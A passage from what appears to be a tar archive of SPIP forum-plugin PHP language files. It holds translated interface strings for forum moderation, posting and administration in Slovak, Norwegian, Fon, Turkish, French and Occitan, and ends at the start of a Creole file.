'icone_suivi_forum' => 'Sledovanie verejného diskusného fóra: @nb_forums@ príspevok (-kov)',
'icone_suivi_forums' => 'Riadiť diskusné fóra',
'icone_supprimer_message' => 'Odstrániť tento príspevok',
'icone_supprimer_messages' => 'Vymazať tieto príspevky',
'icone_valider_message' => 'Schváliť príspevok',
'icone_valider_messages' => 'Potvrdiť tieto príspevky',
'icone_valider_repondre_message' => 'Potvrdiť tento príspevok a reagovať naň',
'info_1_message_forum' => '1 príspevok v diskusnom fóre',
'info_activer_forum_public' => '<i>Ak chcete povoliť verejné diskusné fóra, prosím, uveďte predvolený spôsob ich riadenia:</i>',
'info_appliquer_choix_moderation' => 'Použiť tento výber riadenia:',
'info_config_forums_prive' => 'V súkromnej zóne môžete aktivovať rôzne typy diskusných fór:',
'info_config_forums_prive_admin' => 'Diskusné fórum vyhradené pre administrátorov:',
'info_config_forums_prive_global' => 'Globálne diskusné fórum otvorené všetkým autorom:',
'info_config_forums_prive_objets' => 'Diskusné fórum pripojené ku každému článku, každej novinke, odkazovanej stránke, atď.:',
'info_desactiver_forum_public' => 'Deaktivovať používanie verejných
diskusných fór. Verejné diskusné fóra sa dajú povoliť na individuálnej báze
pri článkoch; budú zakázané pre rubriky, novinky a pod.',
'info_envoi_forum' => 'Posielať príspevky z diskusného fóra príslušným autorom',
'info_fonctionnement_forum' => 'Nastavenie diskusného fóra:',
'info_forums_liees_mot' => 'Príspevky v diskusnom fóre s týmto slovom',
'info_gauche_suivi_forum_2' => 'Stránka na <i>sledovanie diskusných fór</i> je nástroj na riadenie vašej stránky (nie diskusií alebo úprav). Zobrazuje všetky príspevky do diskusných fór (tak na verejnej stránke, ako aj v súkromnej zóne) a umožňuje vám o týchto príspevkoch rozhodovať.',
'info_liens_syndiques_3' => 'diskusné fóra',
'info_liens_syndiques_4' => 'je/sú',
'info_liens_syndiques_5' => 'diskusné fórum',
'info_liens_syndiques_6' => 'je',
'info_liens_syndiques_7' => 'čaká na schválenie.',
'info_liens_texte' => 'Obsah odkazu (-ov) v texte príspevku',
'info_liens_titre' => 'Obsah odkazu (-ov) v názve príspevku',
'info_mode_fonctionnement_defaut_forum_public' => 'Predvolený režim verejných diskusných fór',
'info_nb_messages_forum' => '@nb@ príspevkov v diskusnom fóre',
'info_option_email' => 'Keď návštevník pošle príspevok do diskusného fóra článku, autor článku môže byť o tom informovaný e-mailom. Pre každý typ diskusného fóra uveďte, či sa má táto možnosť aktivovať.',
'info_pas_de_forum' => 'žiadne diskusné fórum',
'info_question_visiteur_ajout_document_forum' => 'Ak chcete povoliť návštevníkom pripájať súbory (obrázky, zvuky a i.) k diskusným príspevkom, určte, ktoré prípony súborov budú akceptované (napr. gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Ak chcete povoliť všetky typy súborov, ktoré SPIP považuje za bezpečné, použite hviezdičku. Ak nechcete povoliť žiadne, nerobte nič.',
'info_selectionner_message' => 'Vybrať príspevky:',
'interface_formulaire' => 'Rozhranie formulára',
'interface_onglets' => 'Rozhranie s tabulátormi',
'item_activer_forum_administrateur' => 'Povoliť diskusné fórum administrátorov',
'item_config_forums_prive_global' => 'Aktivovať diskusné fórum autorov',
'item_config_forums_prive_objets' => 'Aktivovať tieto diskusné fóra',
'item_desactiver_forum_administrateur' => 'Deaktivovať diskusné fórum administrátorov',
'item_non_config_forums_prive_global' => 'Deaktivovať diskusné fórum autorov',
'item_non_config_forums_prive_objets' => 'Deaktivovať tieto diskusné fóra',
// L
'label_selectionner' => 'Vybrať:',
'lien_reponse_article' => 'Komentovať tento článok',
'lien_reponse_breve_2' => 'Komentovať túto novinku',
'lien_reponse_message' => 'Reagovať na príspevok',
'lien_reponse_rubrique' => 'Komentovať túto rubriku',
'lien_reponse_site_reference' => 'Reakcia na odkazovanú stránku',
'lien_vider_selection' => 'Zrušiť výber',
// M
'messages_aucun' => 'Žiadne',
'messages_meme_auteur' => 'Všetky príspevky od tohto autora',
'messages_meme_email' => 'Všetky príspevky z tohto e-mailu',
'messages_meme_ip' => 'Všetky príspevky z tejto IP',
'messages_off' => 'Vymazané',
'messages_perso' => 'Súkromné',
'messages_privadm' => 'Administrátori',
'messages_prive' => 'Súkromné',
'messages_privoff' => 'Vymazané',
'messages_privrac' => 'Všeobecné',
'messages_prop' => 'Odoslané',
'messages_publie' => 'Publikované',
'messages_spam' => 'Spam',
'messages_tous' => 'Všetky',
// O
'onglet_messages_internes' => 'Súkromné správy',
'onglet_messages_publics' => 'Verejné správy',
'onglet_messages_vide' => 'Správy bez textu',
// R
'repondre_message' => 'Odpovedať na túto správu',
// S
'statut_off' => 'Vymazaný',
'statut_original' => 'pôvodný',
'statut_prop' => 'Odoslaný',
'statut_publie' => 'Publikovaný',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'K tomuto článku môžete napísať komentár v diskusnom fóre, ktoré sa nachádza pod ním.',
'texte_en_cours_validation' => 'Články, novinky, diskusné fóra uvedené nižšie boli odoslané na publikovanie.',
'texte_en_cours_validation_forum' => 'V pripojených diskusných fórach môžete smelo napísať komentár.',
'texte_messages_publics' => 'Verejné príspevky na:',
'titre_cadre_forum_administrateur' => 'Súkromné diskusné fórum administrátorov',
'titre_cadre_forum_interne' => 'Interné diskusné fórum',
'titre_config_forums_prive' => 'Diskusné fóra v súkromnej zóne',
'titre_forum' => 'Diskusné fórum',
'titre_forum_suivi' => 'Sledovanie diskusných fór',
'titre_page_forum_suivi' => 'Sledovanie diskusných fór',
'titre_selection_action' => 'Výber',
'tout_voir' => 'Zobraziť všetky príspevky',
// V
'voir_messages_objet' => 'Zobraziť príspevky'
);
?>
forum_nb.php 0000666 00000007147 15252247467 0007117 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=nb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'bare for fremtidige artikler (ingen handling mot databasen).',
'bouton_radio_articles_tous' => 'for alle artikler uten unntak.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'for alle artikler, untatt de med avslåtte forum.',
'bouton_radio_moderation_priori' => 'Forhåndsmoderasjon (
bidrag vil bare bli vist etter å ha blitt godkjent av
administratorer).', # MODIF
'bouton_radio_modere_abonnement' => 'moderasjon etter påmelding', # MODIF
'bouton_radio_modere_posteriori' => 'endring i etterkant', # MODIF
'bouton_radio_modere_priori' => 'endring på forhånd', # MODIF
'bouton_radio_publication_immediate' => 'Umiddelbar publisering av meldinger
(bidrag vil bli vist det øyeblikket de er sendt, deretter kan
administratorer slette dem).',
// F
'form_pet_message_commentaire' => 'Har du en melding eller kommentar?',
'forum_acces_refuse' => 'Du har ikke tilgang til forumene lengre.',
'forum_attention_dix_caracteres' => '<b>Advarsel!</b> meldingen er kortere enn ti tegn.', # MODIF
'forum_attention_trois_caracteres' => '<b>Advarsel!</b> emnet er kortere enn tre tegn.', # MODIF
'forum_attention_trop_caracteres' => '<b>Advarsel !</b> meldinger er for lang (@compte@ tegn) : for at den skal kunne lagres må den ikke inneholde mer enn @max@ tegn.', # MODIF
'forum_avez_selectionne' => 'Du har valgt:',
'forum_cliquer_retour' => 'Klikk <a href=\'@retour_forum@\'>her</a> for å fortsette.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Dette forumet er overvåket: ditt innlegg vil vises etter å ha blitt sjekket av en administrator.', # MODIF
'forum_lien_hyper' => '<b>Lenke</b> (valgfritt)', # MODIF
'forum_message_definitif' => 'Siste melding: send til vev-sted',
'forum_message_trop_long' => 'Meldingen er for lang. Maksimal lengde er 20000 tegn.', # MODIF
'forum_ne_repondez_pas' => 'Ikke svar på denne e-posten, men i forumet på følgende adresse:', # MODIF
'forum_page_url' => '(Dersom meldingen din refererer til en side på veven vennligst legg inn tittel og adressen til siden nedenfor).',
'forum_poste_par' => 'Melding kommet @parauteur@ til din artikkel "@titre@".', # MODIF
'forum_qui_etes_vous' => '<b>Hvem er du?</b> (valgfritt)', # MODIF
'forum_texte' => 'Meldingstekst:', # MODIF
'forum_titre' => 'Emne:', # MODIF
'forum_url' => 'URI:', # MODIF
'forum_valider' => 'Bekreft dette valget',
'forum_voir_avant' => 'Forhåndsvis melding først ', # MODIF
'forum_votre_email' => 'Epostadresse:', # MODIF
'forum_votre_nom' => 'Navn (eller kallenavn):', # MODIF
'forum_vous_enregistrer' => 'Før man kan delta in
dette forumet må man registrere seg.
Vennligst logg inn.
Dersom du ikke har registrert deg må du',
'forum_vous_inscrire' => 'registrer.',
// I
'icone_suivi_forums' => 'Behandle forum',
'icone_supprimer_message' => 'Slett melding',
'icone_valider_message' => 'Bekreft denne meldingen',
// L
'lien_reponse_article' => 'Svar på artikkelen',
'lien_reponse_rubrique' => 'Svar på seksjonen',
// O
'onglet_messages_internes' => 'Interne meldinger',
'onglet_messages_publics' => 'Offentlige meldinger',
'onglet_messages_vide' => 'Meldinger uten tekst',
// T
'titre_cadre_forum_interne' => 'Internforum',
'titre_forum' => 'Internforum', # MODIF
'titre_forum_suivi' => 'Oppfølging av forum',
'titre_page_forum_suivi' => 'Oppfølging av forum'
);
?>
forum_fon.php 0000666 00000012344 15252247467 0007275 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=fon
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'Wekpa é jà wé lɛ̂ kɛɖɛ ( yé mà ɖalɔ xoklpé wu o)',
'bouton_radio_articles_tous' => 'Xogbè lɛ̂bi',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'Xogbè lɛ̂ bi, yé jo Xogbè é agun yé mà jɛ a ɖo',
'bouton_radio_enregistrement_obligatoire' => 'wiwlihɛn ɖo tàji ( mɛ nɔ zan nu lɛ ɔ ɖo na e-mailu yé jo co yé na sɛ alɔdo yé tɔn do',
'bouton_radio_moderation_priori' => 'dɛdɛ vlɛ ( nu yé ma sɔ kɛn nu alɔdo mi tɔn a mi siwu ze yé xlɛ a )', # MODIF
'bouton_radio_modere_abonnement' => 'mi dalɔ nyikɔzinzin wu ',
'bouton_radio_modere_posteriori' => 'mi dalɔ wu ', # MODIF
'bouton_radio_modere_priori' => 'mi dalɔ wu ', # MODIF
'bouton_radio_publication_immediate' => 'Mi na ɖé wɛn xlɛ azɔn ɖokpo, sisɛɖo kpoɖo ɖiɖèxlɛ alɔdo, gânl lɛ̂ hɛn ɔ yé siwu sunsun yé ',
// F
'form_pet_message_commentaire' => 'wɛn, tɛ xójí?',
'forum' => 'Kplékplé ',
'forum_acces_refuse' => 'Mì sɔ síwú byɔ Kpékpé ɔ mɛ á.',
'forum_attention_dix_caracteres' => 'vlɛ ! wékwín é wlán wɛn mí tɔn é sù wó á.', # MODIF
'forum_attention_trois_caracteres' => 'vlɛ ! wékwín é wlán xóta mí tɔn é kpé àtɔn á.', # MODIF
'forum_avez_selectionne' => 'mì cían:',
'forum_cliquer_retour' => 'Mì zín @lɛkɔkplékplé@ mì yì',
'forum_forum' => 'kpléklpé',
'forum_info_modere' => 'Kpléklpé é lɔ ɖó jlɛɖɔtɔ, nú yé sɔ kɛn nú xògbè mì tɔn fó ɔ, é ná tɔn tà .', # MODIF
'forum_lien_hyper' => 'cácádó', # MODIF
'forum_message_definitif' => 'wɛn gùɖógùɖó tɔn, sɛɖó gblogblo ɔ jí',
'forum_message_trop_long' => 'wɛn mì tɔn ɖìga ɖín. kpìnkpɛn tɔn ɖó ná zɛ wěkwin càkìkò wú á ', # MODIF
'forum_ne_repondez_pas' => 'mì mà yígbè nú e-mailù é lɔ ó, àmɔ ɖò kplékplé ɔ mɛ ɔ mì kpɔn nɔtɛn é lɔ ', # MODIF
'forum_page_url' => '(nú é nyí ɖɔ wɛn mì tɔn tɛɖó wékpá é xlɛ ɖò àtɛ ɔ jí ɔ, kàbí wěmá é nɔ xlɛ xó gege ɔ, mì sìwú ɖè xótá àló nɔtɛn wěkpá tɔn ɖò fí.)',
'forum_poste_par' => '@nyɔwlántɔ ɖókpóɖókpó sɛ wɛn ɖó@gbètákɛnxòkplé ɔ gbàfɔ, yè sìwú wlí wɛn mì tɔn hɛn á', # MODIF
'forum_qui_etes_vous' => 'mɛcé ká ɖyè', # MODIF
'forum_texte' => 'xó é ɖò wɛn ɔ mɛ ɔ :', # MODIF
'forum_titre' => 'xótá :', # MODIF
'forum_url' => 'URLU:', # MODIF
'forum_valider' => 'sɔ kɛŋ ná nù è mì cyán é',
'forum_voir_avant' => 'mí kpɔn wɛn é lɔ có bó sɛɖó', # MODIF
'forum_votre_email' => 'e-mailù mi tɔn :', # MODIF
'forum_votre_nom' => 'nyìkɔ mi tɔn :', # MODIF
'forum_vous_enregistrer' => 'nú mi ná ɖó byɔ kplékplé é lɔ mɛ ɔ, mi ɖó ná ná nyìkɔ tɔn hwɛ. Mi zé sùnyíkɔ mi tɔn zé xlɛ. Nú mi mà kò nyìkɔ á, mi ɖó ná',
'forum_vous_inscrire' => 'mi ɖó ná ná nyìkɔ .',
// I
'icone_poster_message' => 'sɛ wɛn dó',
'icone_suivi_forum' => 'nɔkɔn xwíxwlété àgùn ɔ tɔn ',
'icone_suivi_forums' => 'cɔ/tìtò klpékplé ɔ tɔn ',
'icone_supprimer_message' => 'gbìɖí wɛn é lɔ',
'icone_valider_message' => 'sɔ kɛn nú wɛn é lɔ',
'info_activer_forum_public' => 'nú mi ná zɔn bɔ axì ná jɛ ɖò àgun ɔ mɛ ɔ ', # MODIF
'info_appliquer_choix_moderation' => 'mi zán wàlɔ é lɔ ɖɛɖɛ:',
'info_desactiver_forum_public' => 'kplékplénɔ lɛ ní jó xó dó',
'info_envoi_forum' => 'mi sɛ wɛn àgún mɛ tɔn lɛ ɖó nyɔnwlántɔ lɛ ',
'info_fonctionnement_forum' => 'Kplékplé ɔ sín yíyí:',
'info_gauche_suivi_forum_2' => 'wémà é lɔ Tìtòtɔ lɛ kɛɖɛ wɛ síwú dàlɔmɛ', # MODIF
'info_liens_syndiques_3' => 'kplékplé lɛ',
'info_liens_syndiques_4' => 'Yé ɖò',
'info_liens_syndiques_5' => 'kplékplé',
'info_liens_syndiques_6' => 'E ɖò',
'info_liens_syndiques_7' => 'yé bónú yé ní sɔ kɛn ná',
'info_mode_fonctionnement_defaut_forum_public' => 'àzɔ yiyi wɛ',
'info_option_email' => 'Mi yí gbè nú jònɔ é ná nyíkɔ lɛ ', # MODIF
'info_pas_de_forum' => 'kplékplé mà tín',
'item_activer_forum_administrateur' => 'tìtòtɔ lɛ sín kplékplé ní jɛ àzɔ wà jí',
'item_desactiver_forum_administrateur' => 'Tìtótɔ lɛ',
// L
'lien_reponse_article' => 'yígbjè nú wékpá é lɔ',
'lien_reponse_breve_2' => 'yígbjè nú xó kléwún é lɔ',
'lien_reponse_rubrique' => 'yígbjè nú àkpáxwé é lɔ',
'lien_reponse_site_reference' => 'yígbjè nú gblogblojí ɔ é lɔ :', # MODIF
// O
'onglet_messages_internes' => 'wɛn dódó',
'onglet_messages_publics' => 'wɛn tò bí tùn ',
'onglet_messages_vide' => 'wɛn mà ɖò wě',
// R
'repondre_message' => 'ɖò sin nu wɛn é lɔ',
// T
'titre_cadre_forum_administrateur' => 'tìtòtɔ lɛ síŋ kplékplé',
'titre_cadre_forum_interne' => 'kplékplé',
'titre_forum' => 'kplékplé',
'titre_forum_suivi' => 'Bɔ núkún nú kplékplé ɔ',
'titre_page_forum_suivi' => 'Bɔnúkún kplékplé ɔ jí'
);
?>
forum_tr.php 0000666 00000016737 15252247467 0007152 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=tr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'sadece gelecek makalelere (veritabanında bir işlem yapılmayacak).',
'bouton_radio_articles_tous' => 'makalelerin hepsine. ',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'forumu kapalı olan makaleler dışında hepsine.',
'bouton_radio_enregistrement_obligatoire' => 'Kayıt zorunlu (kullanıcılar katılabilmek için önceden e-posta adreslerini vererek kayıt olmalı).',
'bouton_radio_moderation_priori' => 'Önceden onayla yönetim (yazılan iletiler onaylandıktan sonra yayınlanıyor).', # MODIF
'bouton_radio_modere_abonnement' => 'abonelik sistemiyle yönetim',
'bouton_radio_modere_posteriori' => 'sonradan onayla yönetim',
'bouton_radio_modere_priori' => 'önceden onayla yönetim',
'bouton_radio_publication_immediate' => 'İletilerin anında yayınlanması
(katılımlar gönderildiklerinde anında görüntülenir, yöneticiler onları
sonradan yok edebilir).',
// D
'documents_interdits_forum' => 'Forumda yasak olan belgeler',
// F
'form_pet_message_commentaire' => 'Bir ileti, bir yorum ?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Artık bu forumlara erişiminiz yok.',
'forum_attention_dix_caracteres' => '<b>Dikkat !</b> iletiniz on karakterden kısa.',
'forum_attention_trois_caracteres' => '<b>Dikkat !</b> başlığınız üç karakterden kısa.',
'forum_attention_trop_caracteres' => '<b>Dikkat !</b> mesajınız çok uzun (@compte@ caractères) : kaydedilebilmesi için @max@ karakteri aşmamalı.', # MODIF
'forum_avez_selectionne' => 'Şunu seçtiniz :',
'forum_cliquer_retour' => 'Devam etmek için <a href=\'@retour_forum@\'>buraya tıklayınız</a>.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Bu forum önceden onayla yönetilmektedir : katkınız ancak bir yönetici tarafından onaylandıktan sonra görülebilecektir.', # MODIF
'forum_lien_hyper' => '<b>Hipermetin bağı</b> (seçimlik)', # MODIF
'forum_message_definitif' => 'İletinin son hali : siteye gönder',
'forum_message_trop_long' => 'İletiniz çok uzun. Bir ileti en fazla 20000 karakter içerebilir.', # MODIF
'forum_ne_repondez_pas' => 'Bu e-postaya yanıt vermeyin, yanıt için forumu kullanın :', # MODIF
'forum_page_url' => '(Eğer mesajınız Web’de yayınlanan bir makaleye, ya da daha fazla bilgi içeren bir sayfaya atıfta bulunuyorsa, lütfen buraya sayfanın başlığını ve URL adresini belirtiniz.)',
'forum_poste_par' => 'Makalenize @parauteur@ ileti gönderildi.', # MODIF
'forum_qui_etes_vous' => '<b>Sizi tanıyalım ?</b> (seçimlik)', # MODIF
'forum_texte' => 'İletinizin metni :', # MODIF
'forum_titre' => 'Başlık',
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Bu seçimi onayla',
'forum_voir_avant' => 'Göndermeden önce iletiyi göster', # MODIF
'forum_votre_email' => 'E-posta adresiniz :', # MODIF
'forum_votre_nom' => 'İsminiz (veya takma isminiz) :', # MODIF
'forum_vous_enregistrer' => 'Bu foruma katılmak için,
önce kaydolmanız gerekmektedir.
Lütfen aşağıya size verilmiş olan tanımlayıcıyı giriniz.
Eğer kaydolmamışsanız, yapmanız gereken',
'forum_vous_inscrire' => 'önce kaydolmaktır.</a>',
// I
'icone_poster_message' => 'Bir ileti yolla',
'icone_suivi_forum' => 'Kamu forumunun izlenmesi :@nb_forums@ katılım',
'icone_suivi_forums' => 'Forumları izle / Yönet',
'icone_supprimer_message' => 'Bu iletiyi sil',
'icone_valider_message' => 'İletiyi onayla',
'info_activer_forum_public' => 'Kamu forumlarını çalıştırmak için, lütfen varsayılan bir yönetim kipi seçiniz :', # MODIF
'info_appliquer_choix_moderation' => 'Bu yönetim seçeneğinin uygulanması :',
'info_config_forums_prive' => 'Sitenin özel alanında bir çok farklı tipteki forumu aktive edebilirsiniz :', # MODIF
'info_config_forums_prive_admin' => 'Site yöneticilierine ayrılmış bir forum :',
'info_config_forums_prive_global' => 'Tüm yazarlara açık genel forum :',
'info_config_forums_prive_objets' => 'Her makalenin, kısa naberin ve atıfta bulunulan sitenin altında bir forum, vs. :',
'info_desactiver_forum_public' => 'Kamu forumlarının kullanımının durdurulması.
Kamu forumları makaleler için tek tek izne tâbi olacak,
bölümlerde, haberlerde, vb. ise yasaklanacaktır.',
'info_envoi_forum' => 'Forumların makale yazarlarına gönderilmesi',
'info_fonctionnement_forum' => 'Forumun işleyişi :',
'info_gauche_suivi_forum_2' => '<i>Forumları izleme</i> sayfası sitenizi yönetme aracıdır (sohbet, ya da yazı yazma alanı değildir). Bir makaleye kamu forumundan yapılan tüm katkılarını gösterir ve bu katkıları yönetmenizi sağlar.', # MODIF
'info_liens_syndiques_3' => 'Forumlar ',
'info_liens_syndiques_4' => ' - ',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => ' - ',
'info_liens_syndiques_7' => 'Onay bekliyor',
'info_mode_fonctionnement_defaut_forum_public' => 'Kamu forumlarının varsayılan çalışma kipi ',
'info_option_email' => 'Bir ziyaretçi bir makaleye bağlı bir forumda yeni bir ileti gönderdiğinde,
makale yazarları e-posta ile bu iletiden haberdar edilebilirler.
Her bir forum için bu seçeneği kullanmak isteyip istemediğinizi belirtiniz.',
'info_pas_de_forum' => 'Forum yok',
'info_question_visiteur_ajout_document_forum' => 'Ziyaretçilerin forum mesajlarına belge (fotoğraf, ses...) eklemelerine izin vermek isterseniz, aşağıda hangi soyadlarına izin verildiğini belirtiniz (örnek: gif, jpg, png, mp3).', # MODIF
'info_question_visiteur_ajout_document_forum_format' => 'SPIP tarafından güvenilir bulunan tüm belgelere izin vermek isterseniz bir yıldız koyunuz. Hiçbir şeye izin vermemek için hiçbir şey yazmayınız.', # MODIF
'item_activer_forum_administrateur' => 'Yöneticiler forumunun etkinleştirilmesi',
'item_config_forums_prive_global' => 'Yazarlar forumunu aktive et',
'item_config_forums_prive_objets' => 'Şu forumları aktive et',
'item_desactiver_forum_administrateur' => 'Yönetici forumunu iptal et.',
'item_non_config_forums_prive_global' => 'Yazarlar forumunu dezaktive et',
'item_non_config_forums_prive_objets' => 'Bu forumları dezaktive et',
// L
'lien_reponse_article' => 'Bu makaleye yanıt ',
'lien_reponse_breve_2' => 'Bu kısa habere yanıt',
'lien_reponse_rubrique' => 'Bu bölüme yanıt ',
'lien_reponse_site_reference' => 'Atıfta bulunan siteye yanıt : ', # MODIF
// O
'onglet_messages_internes' => 'İç iletiler',
'onglet_messages_publics' => 'Kamu iletileri',
'onglet_messages_vide' => 'Metinsiz iletiler',
// R
'repondre_message' => 'Bu mesajı yanıtla',
// S
'statut_original' => 'orijinal',
// T
'text_article_propose_publication_forum' => 'Sayfanın alt kısmındaki forum yoluyla bu makale hakkındaki görüşünüzü belirtmekten kaçınmayınız.',
'texte_en_cours_validation_forum' => 'İlgili forumlar aracılığıyla görüşünüzü belirtmekten kaçınmayınız.',
'titre_cadre_forum_administrateur' => 'Yöneticiler için özel forum',
'titre_cadre_forum_interne' => 'İç forum',
'titre_config_forums_prive' => 'Özel alan forumları',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Forumların izlenmesi ',
'titre_page_forum_suivi' => 'Forumların izlenmesi '
);
?>
paquet-forum_fr_fem.php 0000666 00000000672 15252247467 0011247 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Forum de SPIP (privé et public)',
'forum_slogan' => 'Gestion des forums privés et publics dans SPIP'
);
?>
forum_oc_ni_la.php 0000666 00000013531 15252247467 0010255 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=oc_ni_la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'basta ai articles futurs (minga d’accion sus la basa de donadas).',
'bouton_radio_articles_tous' => 'ai articles toi sensa excepcion',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a toi lu articles, exceptat aquelu que lo sieu forum es desactivat.',
'bouton_radio_enregistrement_obligatoire' => 'Registrament obligatòri (lu utilizaires si devon abonar en donant la sieu adreiça e-mail avans de poder mandar de contribucions).',
'bouton_radio_moderation_priori' => 'Moderacion a priòri (li
contribucions apareisson en public basta se lu administrators
li an validadi).', # MODIF
'bouton_radio_modere_abonnement' => 'moderat emb abonament',
'bouton_radio_modere_posteriori' => 'moderat a posteriòri', # MODIF
'bouton_radio_modere_priori' => 'moderat a priòri', # MODIF
'bouton_radio_publication_immediate' => 'Publicar lu messatges sus lo còup
(li contribucions apareisson a pena mandadi, lu administrators li pòdon
suprimir pi).',
// F
'form_pet_message_commentaire' => 'Un messatge, una remarca?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Podètz pus accedir a aquelu forums.',
'forum_attention_dix_caracteres' => '<b>Atencion!</b> lo vòstre messatge deu tenir aumens dètz caractèrs.',
'forum_attention_trois_caracteres' => '<b>Atencion!</b> lo vòstre títol deu tenir aumens tres caractèrs.',
'forum_avez_selectionne' => 'Avètz seleccionat:',
'forum_cliquer_retour' => 'Clicatz <a href=\'@retour_forum@\'>aicí</a> per contunhar.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Aquest forum es moderat a priòri: la vòstra contribucion pareisserà basta après qu’un administrator dau sit l’auga validada.', # MODIF
'forum_lien_hyper' => '<b>Ligam ipertèxt</b> (opcionau)', # MODIF
'forum_message_definitif' => 'Messatge definitiu: mandar au sit',
'forum_message_trop_long' => 'Lo vòstre messatge es tròup lòng. La longor maximala es de 20 000 caractèrs.', # MODIF
'forum_ne_repondez_pas' => 'Non respondatz a aquel e-mail mas per lo forum a l’adreiça seguenta: ', # MODIF
'forum_page_url' => '(Se lo vòstre messatge si referisse a un article publicat per lo web, ò a una pàgina que done mai d’informacions, podètz marcar çai sota lo títol de la pàgina e la sieu adreiça.)',
'forum_poste_par' => 'Messatge poste@parauteur@ que fa seguda au vòstre article.', # MODIF
'forum_qui_etes_vous' => '<b>Cu siatz?</b> (opcionau)', # MODIF
'forum_texte' => 'Tèxt dau vòstre messatge:', # MODIF
'forum_titre' => 'Títol:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validar aquela chausida',
'forum_voir_avant' => 'Veire lo messatge avans de lo mandar', # MODIF
'forum_votre_email' => 'La vòstra adreiça e-mail:', # MODIF
'forum_votre_nom' => 'Lo vòstre nom (ò pseudonim):', # MODIF
'forum_vous_enregistrer' => 'Per participar a
aqueu forum, d’en primier vos cau registrar. Mercé
de marcar çai sota l’identificant personau qu’avètz recebut.
Se non siatz registrat/ada, avètz de',
'forum_vous_inscrire' => 'v’inscriure.',
// I
'icone_poster_message' => 'Postar un messatge',
'icone_suivi_forum' => 'Seguit dau forum public: @nb_forums@ contribucion(s)',
'icone_suivi_forums' => 'Sègre/gerir lu forums',
'icone_supprimer_message' => 'Suprimir aqueu messatge',
'icone_valider_message' => 'Validar aqueu messatge',
'info_activer_forum_public' => '<i>Per activar lu forums publics, vorgatz chausir lo sieu mòde de moderacion predefinit:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar aquela chausida de moderacion:',
'info_desactiver_forum_public' => 'Desactivar l’utilizacion dei forums publics. Lu forums publics porràn èstre autorizats au cas per cas sobre lu articles; seràn proïbits sobre li rubricas, brèvas, etc.',
'info_envoi_forum' => 'Mandadís dei forums ai autors dei articles',
'info_fonctionnement_forum' => 'Foncionament dau forum:',
'info_gauche_suivi_forum_2' => 'La pàgina de <i>segut dei forums</i> es una aisina de gestion dau vòstre sit (mas non es un espaci per discutir ò per redigir). Aficha toti li contribucions dau forum public d’aquel article e vos permete de gerir aqueli contribucions.', # MODIF
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'son',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'es',
'info_liens_syndiques_7' => 'en espèra de validacion',
'info_mode_fonctionnement_defaut_forum_public' => 'Mòde de foncionament predefinit dei forums publics',
'info_option_email' => 'Quora un vesitaire dau sit manda un messatge nòu au forum
associat a un article, se’n pòu avisar lu autors
de l’article per e-mail. Desiratz d’utilizar aquela opcion?', # MODIF
'info_pas_de_forum' => 'Minga de forum',
'item_activer_forum_administrateur' => 'Activar lo forum dei administrators',
'item_desactiver_forum_administrateur' => 'Desactivar lo forum dei administrators',
// L
'lien_reponse_article' => 'Respòsta a l’article',
'lien_reponse_breve_2' => 'Respòsta a la brèva',
'lien_reponse_rubrique' => 'Respòsta a la rubrica',
'lien_reponse_site_reference' => 'Respòsta au sit referenciat:', # MODIF
// O
'onglet_messages_internes' => 'Messatges intèrnes',
'onglet_messages_publics' => 'Messatges publics',
'onglet_messages_vide' => 'Messatges sensa tèxt',
// R
'repondre_message' => 'Respòndre a aqueu messatge',
// T
'titre_cadre_forum_administrateur' => 'Forum privat dei administrators',
'titre_cadre_forum_interne' => 'Forum intèrne',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Segut dei forums',
'titre_page_forum_suivi' => 'Segut dei forums'
);
?>
forum_cpf.php 0000666 00000014401 15252247467 0007257 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=cpf
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
